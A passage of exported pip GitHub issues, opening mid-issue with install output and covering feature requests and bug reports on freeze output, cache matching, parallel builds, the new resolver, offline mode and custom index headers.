Collecting requests-toolbelt!=0.9.0,>=0.8.0
  Using cached requests_toolbelt-0.9.1-py2.py3-none-any.whl (54 kB)
Collecting requests>=2.20
  Using cached requests-2.23.0-py2.py3-none-any.whl (58 kB)
Collecting keyring>=15.1
  Using cached keyring-21.2.0-py3-none-any.whl (30 kB)
Collecting tqdm>=4.14
  Using cached tqdm-4.45.0-py2.py3-none-any.whl (60 kB)
Collecting bleach>=2.1.0
  Downloading bleach-3.1.5-py2.py3-none-any.whl (151 kB)
     |████████████████████████████████| 151 kB 252 kB/s 
Collecting docutils>=0.13.1
  Using cached docutils-0.16-py2.py3-none-any.whl (548 kB)
Collecting six
  Using cached six-1.14.0-py2.py3-none-any.whl (10 kB)
Collecting Pygments>=2.5.1
  Using cached Pygments-2.6.1-py3-none-any.whl (914 kB)
Collecting chardet<4,>=3.0.2
  Using cached chardet-3.0.4-py2.py3-none-any.whl (133 kB)
Collecting certifi>=2017.4.17
  Using cached certifi-2020.4.5.1-py2.py3-none-any.whl (157 kB)
Collecting urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1
  Using cached urllib3-1.25.9-py2.py3-none-any.whl (126 kB)
Collecting idna<3,>=2.5
  Using cached idna-2.9-py2.py3-none-any.whl (58 kB)
Collecting packaging
  Using cached packaging-20.3-py2.py3-none-any.whl (37 kB)
Collecting webencodings
  Using cached webencodings-0.5.1-py2.py3-none-any.whl (11 kB)
Collecting pyparsing>=2.0.2
  Using cached pyparsing-2.4.7-py2.py3-none-any.whl (67 kB)
Building wheels for collected packages: twine
  Building wheel for twine (PEP 517) ... done
  Created wheel for twine: filename=twine-3.1.2.dev58+gda8d62f-py3-none-any.whl size=36764 sha256=4d4a011ba94cc61d89b661977d66816de6b2dd9c23c189a4a77a68eda6997476
  Stored in directory: /private/var/folders/xg/blp845_s0xn093dyrtgy936h0000gp/T/pip-ephem-wheel-cache-_wbhcsnm/wheels/73/dd/fb/3039711df8645ab0ccc3e7d5f834289bf9ee7569c222c1fbc4
Successfully built twine
Installing collected packages: pkginfo, six, pyparsing, packaging, webencodings, bleach, docutils, Pygments, readme-renderer, chardet, certifi, urllib3, idna, requests, requests-toolbelt, keyring, tqdm, twine
Successfully installed Pygments-2.6.1 bleach-3.1.5 certifi-2020.4.5.1 chardet-3.0.4 docutils-0.16 idna-2.9 keyring-21.2.0 packaging-20.3 pkginfo-1.5.0.1 pyparsing-2.4.7 readme-renderer-26.0 requests-2.23.0 requests-toolbelt-0.9.1 six-1.14.0 tqdm-4.45.0 twine-3.1.2.dev58+gda8d62f urllib3-1.25.9 webencodings-0.5.1

(venv) $ pip freeze

....
twine @ git+https://github.com/pypa/twine@da8d62f6e8878900267a8499d4e3cfe49ac11002
....

(venv) $ pip list --format=freeze
....
twine==3.1.2.dev58+gda8d62f
....

```

user: deveshks
labels: C: freeze: 'pip freeze' related
C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_8172: state: open
title: pip cache matching is not very intuitive
body: I was looking for all my compiled wheels on Linux:
```
$ pip cache list *linux_x86_64*
Nothing cached.
$ pip cache list *linux_x86_64
Nothing cached.
$ pip cache list *-linux_x86_64
Cache contents:

 - PyYAML-5.3-cp27-cp27mu-linux_x86_64.whl (159 kB)
 - PyYAML-5.3-cp37-cp37m-linux_x86_64.whl (544 kB)
 - PyYAML-5.3-cp38-cp38-linux_x86_64.whl (645 kB)
 ...
```
I would have expected the first 2 to actually find those wheels.
user: xavfernandez
labels: type: enhancement: Improvements to functionality
C: cache: Dealing with cache and files in it
issue_8168: state: open
title: Parallel safe local directory build
body: pip 20.1 now builds local directories in-place via https://github.com/pypa/pip/pull/7882. One side effect (and regression) of this is that now pip install/pip wheel is no longer parallel safe. Two pips running in parallel installing/building the same folder can now step on each other's toes by modifying in parallel the build backends cache folders. E.g. one starts, but another starts later and cleans the build folder while the first is generating the wheel folder.

As a stop-gap solution pip could lock the local folder while building, and don't start a new build while that lock is in place.

Ideally, pip should set a different build folder for each of these, that's throw away at the end of the build. This goes back to my proposal from last year about the frontend being able to specify the backend the cache folder, see https://discuss.python.org/t/proposal-adding-a-persistent-cache-directory-to-pep-517-hooks/2303/9 . Guess I should actually write up that PEP now.  


PS. This broke the virtualenv CI, is how I bumped into this issue.
user: gaborbernat
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8156: state: open
title: RFE: Allow to --set-installer for custom INSTALLER value
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

In Fedora, we use `pip` to install wheels during the build of RPM packages.
We then replace `pip` with `rpm` in the `INSTALLER` file to indicate: This package has been actually installed trough `rpm` on the user systems (despite it being installed by `pip` in the build system).

The hash of the `INSTALLER` file is recorded in `RECORD`. When we change the value, we should also recalculate the hash and adjust `RECORD`.

This is getting fragile. I'd rather tell `pip` to put arbitrary value to `INSTALLER` than `sed` it afterwards.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

We'd like to have `--set-installer` option (or `--installer` etc.) for `pip install` that we would use like this:

    pip install --set-installer=rpm ...

It would put the value (`rpm` in the example) to `INSTALLER` instead of `pip` and would put the correct hash to `RECORD`.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

The alternate solution is what we use now + `sed`-ing the hash:

```
pip install ...
sed -i s/pip/rpm/ ...dist-info/INSTALLER
sed -iE 's|(\.dist-info/INSTALLER,sha256=)[^,]+,|\1'$(sha256sum ...dist-info/INSTALLER | cut -f1 -d" ")',|' ...dist-info/RECORD
```



**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

https://discuss.python.org/t/pep-610-usage-guidelines-for-linux-distributions/4012/17

I'm happy to submit a PR for this if agreed upon.
user: hroncok
labels: type: feature request: Request for a new feature
issue_8133: state: open
title: Add a generic network exception to be raised
body: Towards https://github.com/pypa/pip/issues/5380

The other PR may be created for removing the usage of `raise_for_status`.
<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: gutsytechster
issue_8130: state: open
title: Add aliases for commonly used commands
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
As a software developer and package maintainer, I often install and remove software packages with different package managers. With pip I often run into this error:
```
$ pip3 remove pdfarranger
ERROR: unknown command "remove"
```


**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Have a `remove` command that does exactly the same as `uninstall`.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
* Using bash's alias command is not easily possible because it can only match the main command (I can add an alias for `pip` in general but not for `pip remove`.)
* pip does not seem to provide a built in alias command like [dnf has](https://dnf.readthedocs.io/en/latest/command_ref.html#alias-command-label)

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->
Package managers which use remove and don't know uninstall:
1. dnf/yum (they do have erase as an alias) 
1. [apt(-get)](https://manpages.debian.org/stretch/apt/apt.8.de.html)
1. [pacman](https://www.archlinux.org/pacman/pacman.8.html)

Package managers which have both:
1. flatpak
user: dreua
labels: type: feature request: Request for a new feature
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
UX: ecosystem research epic: Temporary label to link tickets to #8515
issue_8115: state: open
title: Clarify and define install/upgrade behaviour for the new resolver
body: **What's the problem this feature will solve?**
Currently, pip doesn't really define what it will install, beyond [this section in the docs](https://pip.pypa.io/en/stable/reference/pip_install/#satisfying-requirements). And the documentation for `--upgrade` says *basically the same*. Nowhere is the fact that "we prefer to leave the installed version alone unless `--upgrade` is specified" documented, that I could find.

**Describe the solution you'd like**
Clearly document pip's behaviour when deciding what to install, and implement that behaviour for the new resolver. Note that I specifically do *not* propose trying to either make the old resolver foillow the new definition, or make the definition match every quirk of the old resolver (although obviously in broad terms, the behaviour *will* be the same). The old resolver's behaviour grew over time, and is heavily influenced by what was feasible given the way it was implemented (that's a polite way of saying "it's broken" 🙂). We should focus on getting well-specified and understandable behaviour in the new resolver.

**Proposed Behaviour**
I propose the following rules for what to install based on a given set of requirements:

1. Normal behaviour for pip is to look for solutions to the resolution problem defined by the set of requirements given on the command line. That means that all packages named in the command line, plus packages named in their dependencies, recursively, will be considered.
2. We *explicitly* note that installed packages that are not part of the set identified above are not considered. This is debatable - it is possible to add an extra set of requirements that any installed packages must remain unchanged, and their dependencies must *also* be considered. See below in "Alternative Solutions".
3. When identifying solutions, pip will normally prioritise the installed version of a given package over any other. However, note that this does *not* mean that pip will certainly retain that version - other constraints may influence this. Also, "prioritise" is a slightly subtle term here - it is about influencing the order the resolver searches for solutions, *not* about "scoring" possible solutions and choosing the "best". I'd prefer to just use the somewhat-vague term "prioritise" here to avoid getting into technical details that users won't care about.
4. The `--upgrade` flag changes pip's behaviour to *not* prioritise installed versions for *packages named on the command line*. By default installed versions are still prioritised for packages which are only identified as dependencies. That's the "only-if-needed" upgrade strategy. The "eager" upgrade strategy extends this to *all* packages in the dependency tree (the installed version is never prioritised).
6. Apart from the special case handling of installed versions, newer versions will be preferred over older versions.

**Alternative Solutions**
One key alternative here is that we might want to also include dependency information for packages that are installed but are *not* part of the dependency graph otherwise. This is the question noted in (2) above. The benefit of this is that pip would avoid installing a set of packages that conflicts with something that is already installed. The downside is that the behaviour is more complex (both to implement and to describe) and may have odd corner cases.

I'm mildly inclined to prefer not adding that complexity, because I suspect the benefits will be marginal, but I can easily be persuaded otherwise. See https://github.com/pypa/pip/issues/7744 for extra context.

**Additional context**
There's further information that we don't even have access to when looking at the bare fact that "A 1.0 is installed" alongside the fact that A 2.0 is now available. Did the user do `pip install A` and A 2.0 got released since? Did the user install some package that depended on A<2.0, which they have now uninstalled? Did the user explicitly do `pip install A==1.0`? This sort of links into the suggestion made elsewhere about using/extending `REQUESTED`, but I think it goes beyond that. Ultimately, it's about managing an *environment definition* and that's not pip's role - it's what pipenv and poetry do, and we don't want to get into that area.
user: pfmoore
labels: type: docs: Documentation related
C: dependency resolution: About choosing which dependencies to install
UX: functionality research epic: Temporary label to link tickets to #8516
issue_8109: state: open
title: Allow cache TTL override for --find-links urls
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

Our wheels (thousands of them) are hosted in a flat directory, e.g. https://myhost.com/wheels/ has
```
...
django_auth_ldap-1.6.1-py2.py3-none-any.whl
django_bootstrap_toolkit-2.15.0-py2-none-any.whl
django_bootstrap_toolkit-2.15.0-py3-none-any.whl
django_braces-1.14.0-py2.py3-none-any.whl
django_common_helpers-0.9.2-py2-none-any.whl
django_common_helpers-0.9.2-py3-none-any.whl
django_configurations-2.2-py2.py3-none-any.whl
django_crispy_forms-1.8.1-py2.py3-none-any.whl
django_cron-0.5.1-py2-none-any.whl
django_cron-0.5.1-py3-none-any.whl
...
```

With `--no-index --find-links https://myhost.com/wheels/`, pip will query it for every artifact it needs transitively. However, when large number of builds are running concurrently with pip, the wheel server can be overwhelmed.

**Describe the solution you'd like**

We'd like some mechanism to force the cache TTL for the index page. Something to the effect of:
```
diff --git a/src/pip/_vendor/cachecontrol/controller.py b/src/pip/_vendor/cachecontrol/controller.py
index dafe55c..f0066a7 100644
--- a/src/pip/_vendor/cachecontrol/controller.py
+++ b/src/pip/_vendor/cachecontrol/controller.py
@@ -84,7 +84,9 @@ class CacheController(object):
 
         retval = {}
 
+        cc_headers = 'max-age=8'
         for cc_directive in cc_headers.split(","):
             if not cc_directive.strip():
                 continue
```
In this case I was hardcoding the cache TTL to be 8 seconds.

It can be plumbed via an option, e.g. adding `--force-index-cache-ttl=<some seconds>` to below:
```
Package Index Options:
  -i, --index-url <url>       Base URL of the Python Package Index (default https://pypi.org/simple). This should point to a repository compliant with PEP 503 (the
                              simple repository API) or a local directory laid out in the same format.
  --extra-index-url <url>     Extra URLs of package indexes to use in addition to --index-url. Should follow the same rules as --index-url.
  --no-index                  Ignore package index (only looking at --find-links URLs instead).
  -f, --find-links <url>      If a URL or path to an html file, then parse for links to archives such as sdist (.tar.gz) or wheel (.whl) files. If a local path or
                              file:// URL that's a directory,  then look for archives in the directory listing. Links to VCS project URLs are not supported.
```

Please kindly let me know if the concept is acceptable or if there's a better approach to this.

Thanks!
user: wisechengyi
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8099: state: open
title: The new dependency resolver: context and how to migrate
body: The 20.3 release of pip has pip's next generation resolver, and it's **on by default**. For more information on what has changed, what to test, how to migrate, and what you can do to help, see https://pip.pypa.io/en/latest/user_guide/#changes-to-the-pip-dependency-resolver-in-20-3-2020 . We will continue to update that guide as we learn more about users need help with; instead of commenting, please tell us your feedback by [filling out this survey](https://tools.simplysecure.org/survey/index.php?r=survey/index&sid=989272&lang=en).

This issue should remain open and pinned, till the pip 21.0 release in January 2021, to help users who run into pip questions and immediately come to the issue tracker.

## Thanks

As with all pip releases, a significant amount of the work was contributed by pip's user community. Huge thanks to all who have contributed, whether through code, documentation, issue reports and/or discussion. Your help keeps pip improving, and is hugely appreciated.

Specific thanks go to [Mozilla (through its Mozilla Open Source Support Awards)](https://www.mozilla.org/en-US/moss/) and to [the Chan Zuckerberg Initiative](https://chanzuckerberg.com/eoss/) DAF, an advised fund of Silicon Valley Community Foundation, for their support that enabled the work on the new resolver.
user: brainwane
labels: C: tests: Testing and related things
C: dependency resolution: About choosing which dependencies to install
issue_8097: state: open
title: Update error with MayanEDMS
body: Logged with the Mayan Team and they say it's PIP

Latest ubuntu 18.04 with PIP version 2 latest one in the Ubuntu repos.  Trying pip install and get the following:

`ERROR: Exception: Traceback (most recent call last): File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/cli/base_command.py", line 186, in _main status = self.run(options, args) File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/commands/install.py", line 331, in run resolver.resolve(requirement_set) File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/legacy_resolve.py", line 177, in resolve discovered_reqs.extend(self._resolve_one(requirement_set, req)) File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/legacy_resolve.py", line 333, in _resolve_one abstract_dist = self._get_abstract_dist_for(req_to_install) File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/legacy_resolve.py", line 282, in _get_abstract_dist_for abstract_dist = self.preparer.prepare_linked_requirement(req) File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/operations/prepare.py", line 482, in prepare_linked_requirement hashes=hashes, File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/operations/prepare.py", line 287, in unpack_url hashes=hashes, File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/operations/prepare.py", line 164, in unpack_http_url unpack_file(from_path, location, content_type) File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/utils/unpacking.py", line 252, in unpack_file flatten=not filename.endswith('.whl') File "/opt/mayan-edms/lib/python3.6/site-packages/pip/_internal/utils/unpacking.py", line 138, in unzip_file with open(fn, 'wb') as destfp: UnicodeEncodeError: 'ascii' codec can't encode characters in position 81-85: ordinal not in range(128)`

Full sequence is here:
```
REMOVE=/etc/mayan/removals.txt
REQUIRE=/etc/mayan/requirements.txt
REQUIREMENTS=/etc/mayan/requirements
curl https://gitlab.com/mayan-edms/mayan-edms/raw/master/removals.txt > $REMOVE
curl https://gitlab.com/mayan-edms/mayan-edms/raw/master/requirements.txt > $REQUIRE
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/base.txt
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/build.txt
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/common.txt
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/development.txt
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/documentation.txt
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/testing-base.txt
curl https://gitlab.com/mayan-edms/mayan-edms/-/tree/master/requirements/ > $REQUIREMENTS/testing.txt
supervisorctl stop all
ENV=/etc/mayan/env
BIN=/opt/mayan-edms/bin
su - mayan -c ". $ENV && $BIN/pip uninstall -r $REMOVE"
su - mayan -c ". $ENV && $BIN/pip install --upgrade -r $REQUIRE"
```


user: scrummie02
labels: type: support: User Support
issue_8085: state: open
title: Add a resolver option to use the specified minimum version for a dependency
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

I would like to be able to install my project using its "lower bounds" requirements and run the test suite to ensure that (a) I have those lower bounds specified properly and (b) the tests pass.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

A new command line option `--prefer-minimum-versions` would change the resolver behavior to choose the earliest version supported by a requirement specification. For example if versions 1.0 and 2.0 of package foo are available and the specification is `foo>=1.0` then when the flag is used version 1.0 would be installed and when the flag is not used version 2.0 would be installed.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

Large applications such as OpenStack have a lot of dependencies and verifying the accuracy of the complete set is complex. Providing a way to install the earliest set of packages expected to work would make this easier.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

The existing constraints file option does help, but building a valid constraints file is complicated.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

There is a recent discussion about this need [on the openstack-discuss mailing list](http://lists.openstack.org/pipermail/openstack-discuss/2020-April/014271.html).

I will work on the implementation.
user: dhellmann
labels: C: dependency resolution: About choosing which dependencies to install
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_8077: state: open
title: Tree-like visualization of dependencies
body: **What's the problem this feature will solve?**
In the context of building a Python Distrubution, I suffer a lot to understand and manage dependancies and version contraints.

Recently, I fell on pipdeptree and it blew my mind per :
- it's relative simplicity of code,
- it's usefulness, especially by providing internals in json style.

**Describe the solution you'd like**
- I whish:
  . the pipdeptree feature shall be in standard pip ( a pip "--tree" option ?),
  . pip internals becomes as accessible as pipdeptree, with json output options


today, when I want to know what package is use by what:
  . pipdeptree <Enter> + navigating the indented ouput let me see where/why a package is used 
  . pipdeptree -r <Enter> + navigating the indented ouput let me see where/why a package is used from the other side (less practical for 1 given package, but not bad)
  . I'm interested in its internal access (not command line) and  json output options, as simplifying work to try build a simple GUI over pip...

**Alternative Solutions**
continue to use pipdeptree, if pip doesn't evolve

**Additional context**
Maintaining WinPython, while trying to have its "specifics weight" smaller and smaller (relying more and more on standard pip, standard pypi, ...)

user: stonebig
labels: C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_8076: state: open
title: Relaxing / Ignoring constraints during dependency resolution
body: **What's the problem this feature will solve?**
Puting together some packages that have by default incompatible constraints.

Indeed:
- constraints are often meant by the package maintainer as:
  . "accepting complains on this known/focus set of package",
  . you're on your own support if you deviate, but not necessarly bad.
- packages rarely focus on the same versions of complementary packages.
==> The new resolver may create more problems than solutions, when trying to build an environment with a large set of package.

**Describe the solution you'd like**
Be able to ignore voluntary some constraints

Wish: 
- we can put some "relax" rule to over-rule too strict packages (for our need), because we know what we want:
  `pip install Spyder --relax relaxrules.r` , with relax file below meaning:
    . if you want PyQt5, it must be  5.14.x
    . if you want Jedi, it must be >=0.16
````
PyQt5~=5.14
Jedi>=0.16
````

**Alternative Solutions**
Today:
- I have to manually recompile from source "too strict" packages, to workaround this,
- or I would have to build one virtualenv per package,
- or I would only be able to use a specific Python distribution, with much older packages and Python version.


**Additional context**
Maintaining WinPython

** Current  pip check **
- datasette 0.39 has requirement Jinja2~=2.10.3, but you have jinja2 2.11.2.
- astroid 2.3.3 has requirement wrapt==1.11.*, but you have wrapt 1.12.1.

** Current workaround **
- Spyder manually recompiled to accept :
   . PyQt5-5.14.2 (as pip doesn't have a "long term support" of PyQt5-5.12, so the fresher version is safer)

other wishes:
- a basic GUI on Pip (tkinter or web) would still be nice, to have a better view of all the coming version conflicts.
user: stonebig
labels: C: dependency resolution: About choosing which dependencies to install
type: feature request: Request for a new feature
UX: functionality research epic: Temporary label to link tickets to #8516
issue_8074: state: open
title: option to force index only, ignore find-links
body: **What's the problem this feature will solve?**
I have a pip.ini with a find-links URL that is only available when I'm at work, behind the firewall. If I'm not at work, pip becomes extremely slow because every package lookup has to wait 10-30 seconds for the find-links URL to time out.  If a pip install has numerous dependencies which each have numerous sub-dependencies, etc, this can cause a single pip install to take hours.

**Describe the solution you'd like**
I'd like a pip option that is the opposite of no-index that is either no-find-links or index-only or something. Right now my only option is to temporarily rename or edit the ini file. I'm using the ini file method as part of a configuration for my team to be able to easily install wheels created by the team and stored on a server at work

**Alternative Solutions**
 - Edit the ini file
 - rename the ini file
 - don't use an ini file and supply the find-links stuff every time I want to install one of my team's wheels

user: flutefreak7
labels: type: enhancement: Improvements to functionality
C: cli: Command line interface related things (optparse, option grouping etc)
issue_8070: state: open
title: Awkward hang when retriving metadata from legacy Setuptools project
body: **Environment**

* pip version: probably all versions
* Python version: does not matter
* OS: does not matter

**Description**
pip appears to be “hanging” if it takes a lot of time to retrieve metadata of a package to discover dependencies. It would be helpful if pip outputs something to indicate something is happening. Output for a PEP 517 project is much better (it has a spinner).

**Expected behavior**
pip gives some feedback about what it is doing.

**How to Reproduce**
Given a setup.py like this:

```python
import setuptools
import time

time.sleep(10.0)  # Simulates a long package processing period
setuptools.setup(name='a', version='1', install_requires=['six'])
```

**Output**
Installing this with pip (modified to show timestamps for each log message:

```
2020-04-17T22:10:03,057 Processing a
2020-04-17T22:10:13,622 Collecting six
2020-04-17T22:10:13,638   Using cached six-1.14.0-py2.py3-none-any.whl (10 kB)
2020-04-17T22:10:13,649 Could not build wheels for a,since package 'wheel' is not installed.
2020-04-17T22:10:13,649 Installing collected packages: six, a
    Running setup.py install for a ... done
2020-04-17T22:10:24,084 Successfully installed six-1.14.0 a-1.0.0
```

There is a full 10 second between the first and second message that pip appears to have hung, while it is actually trying to run `setup.py egg_info`.
user: uranusjr
labels: type: enhancement: Improvements to functionality
UX: User experience related
issue_8063: state: open
title: pip install --target --upgrade removes existing packages scripts
body: **Environment**

* pip version:20.0.2
* Python version:3.8.2
* OS:MacOS

**Description**
pip with `-t` removed other file in target bin folder

**Expected behavior**

when install package `ipython` should not remove package `pylint` bin files



**How to Reproduce**


```bash
mkdir test
pip install -t test pylint
ls test/bin/
epylint  isort  pylint  pyreverse  symilar

pip install -U -t test ipython
ls test/bin/
easy_install  easy_install-3.8  iptest  iptest3  ipython  ipython3  pygmentize
```

**Output**

After install ipython, pylint is deleted.
user: changsijay
labels: type: bug: A confirmed bug or unintended behavior
C: target: pip install's --target option's behaviour handling
S: needs triage: Issues/PRs that need to be triaged
help wanted: For requesting inputs from other members of the community
issue_8057: state: open
title: pip install “offline mode”
body: **What's the problem this feature will solve?**
I started wondering whether this is possible when reading #8043. When pip initialises an isolated build environment, it currently access package repositories to get the build tools. This can however be cumbersome when the user does not have Internet access.

**Describe the solution you'd like**
An `--offline` flag that makes pip use only the network cache to install things. This includes sdists, wheels, and also the index/find-links pages. This would solve the network-less bootstrapping problem as long as the user has installed all the build tools before (and has not cleared the cache). The flag would also need to be passed to PEP 517 hooks.

**Alternative Solutions**
Currently the user can use `--no-index --find-links` and point pip to the relevent wheels. But this needs the user to plan ahead and download the wheels. pip’s network cache does not expose the file names, and is not practically usable as a `--fine-links` source.

As a hack, the wheels of setuptools and wheel are actually available in stdlib’s `ensurepip` package. But this does not work with other PEP 517 backends.

**Additional context**
This probably needs some works with improving pip’s network cache, and might even be impossible (I haven’t poked at the cache implementation). But I feel this would be a good feature if it’s possible to implement.
user: uranusjr
labels: type: feature request: Request for a new feature
UX: User experience related
issue_8048: state: open
title: Add check for `vendored()` calls in `pip/_vendor/__init__.py`
body: https://github.com/pypa/pip/pull/8045#issuecomment-613305096

We have been missing the `vendored()` call updates too many times that this should be beneficial. But at least I am not really motivated enough to put work on this, so it would be nice if some of our downstream distributors can work on this :p
user: uranusjr
labels: type: enhancement: Improvements to functionality
C: automation: Automated checks, CI etc
help wanted: For requesting inputs from other members of the community
issue_8046: state: open
title: Failed to run `` pip install -e . --no-deps --isolated '' to install the local git repo of pip.
body: Hi,

I pulled the master version of pip and then try to install it into my conda environment with --isolated option which previously works but now fails.  See the following:

```
 (aiida) werner@ubuntu-01:~/.repo/github.com/pypa/pip.git$ pip install -e . --no-deps --isolated 
Obtaining file:///home/werner/.repo/github.com/pypa/pip.git
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 3:
   command: /home/werner/.pyenv/versions/anaconda3-2020.02/envs/aiida/bin/python /home/werner/.pyenv/versions/anaconda3-2020.02/envs/aiida/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-c5u1fgfi/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools wheel
       cwd: None
  Complete output (1 lines):
  ERROR: Could not find an activated virtualenv (required).
  ----------------------------------------
ERROR: Command errored out with exit status 3: /home/werner/.pyenv/versions/anaconda3-2020.02/envs/aiida/bin/python /home/werner/.pyenv/versions/anaconda3-2020.02/envs/aiida/lib/python3.7/site-packages/pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-c5u1fgfi/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools wheel Check the logs for full command output.
```

Any hints?

Regards
user: hongyi-zhao
labels: C: PEP 517 impact: Affected by PEP 517 processing
issue_8044: state: open
title: Document the environment variables which influence pip's behaviour
body: The Python docs detail exactly what environment variables are usable and how they influence python's behavior: https://docs.python.org/3/using/cmdline.html?highlight=pythonpath#environment-variables 

A similar section for pip's docs would be very helpful. The environment configuration section is not as useful: https://pip.pypa.io/en/stable/user_guide/#environment-variables

It just says to use `PIP_<UPPER_LONG_NAME>` but it's pretty much guesswork what UPPER_LONG_NAME are possible here, if you don't already have good familiarity with all the options and subcommands of the CLI.  

The docs then go on to give an example of `export PIP_DEFAULT_TIMEOUT=60` being equivalent to `pip --default-timeout=60`, but nothing in `pip --help` mentions `--default-timeout` (and [the configuration section itself seems to be the only docs reference about it](https://pip.pypa.io/en/stable/search/?q=%22--default-timeout%22)), so how would a user discover that in the first place?
user: wimglenn
labels: type: enhancement: Improvements to functionality
type: docs: Documentation related
good first issue: A good item for first time contributors to work on
state: awaiting PR: Feature discussed, PR is needed
issue_8042: state: open
title: Allow pip to send arbitrary headers to various hosts
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

Currently, there is no simple solution for pip to authenticate with a custom PyPI index using token-based authentication in HTTP headers.

The proposed feature should allow users to supply custom headers as options on various `pip` commands.

Based on discussion in PR #8030, there are a couple of concerns that warrant consideration:

1. The command-line options should behave like cURL's implementation, eg 
```bash
curl -H 'Authorizer: Bearer ...' https://my.host.com/`
```

2. To prevent sending sensitive information to the wrong host(s), the user should be able to specify how to route the headers on a per-host basis.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

If I am a user maintaining a Python application that is built from a mix of public and private pips, I might want to install the dependencies in one command:

```bash
pip install --extra-index-host https://pypi.mine.com/simple/ \
  [proposed header option(s)] \
  public-pip-1 public-pip-2 ... public-pip-n \
  private-pip-1 private-pip-2 ... private-pip-n
```

or I may opt for a two-step install, installing the public pips first then installing the private ones on top (ignoring dependencies—assuming any public ones were installed in the previous step):

```bash
pip install public-pip-1 public-pip-2 ... public-pip-n
pip install --no-deps --index-host https://pypi.mine.com/simple/ \
  [proposed header option(s)] \
  private-pip-1 private-pip-2 ... private-pip-n
```

There is no obvious way to implement the desired header option(s), so I will propose a few in the next section...

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

The JSON solution:

Send headers nested in a JSON document where top-level keys are the target hostnames.

```bash
pip install --extra-index-url https://pypi.mine.com/simple/ \
  --host-headers '{"pypi.mine.com": {"Authorization": "Bearer ..."}}' \
  ...
```

Pros:
- Easy to understand
- Fairly straightforward to implement

Cons:
- Verbose
- Not very cURL-like (no `-H` option)

---

The cURL-like solution:

Use a cURL-like DSL to set headers + hosts in one line.

The key difference is headers are optionally prefixed by their intended host, eg:
instead of `-H 'Header: Value'`, it's `-H 'hostname: Header: value` (or something similar)

If the hostname prefix is omitted, the header would be sent to **all** hosts (possibly with a warning)

```bash
pip install --extra-index-url https://pypi.mine.com/simple/ \
  -H 'pypi.mine.com: Authorization: Bearer ...' \
  ...
```

Pros:
- More like cURL's familiar syntax

Cons:
- Introduces new DSL
- A little harder to implement (have to parse the string)

---

A blended solution:

Allow users to specify headers using cURL-like syntax (`-H 'Header: Value'`) AND allow users to supply a more verbose JSON document with per-host headers.

In this solution, the `-H` option is interpreted just like cURL and would be attached to **all** outgoing requests (possibly with a warning).

```bash
pip install --extra-index-url https://pypi.mine.com/simple/ \
  -H 'X-Spam: Spam Spam' \
  --host-headers '{"pypi.mine.com": {"Authorization": "Bearer ..."}}' \
  ...
```

Pros:
- Fairly best-of-both-worlds approach

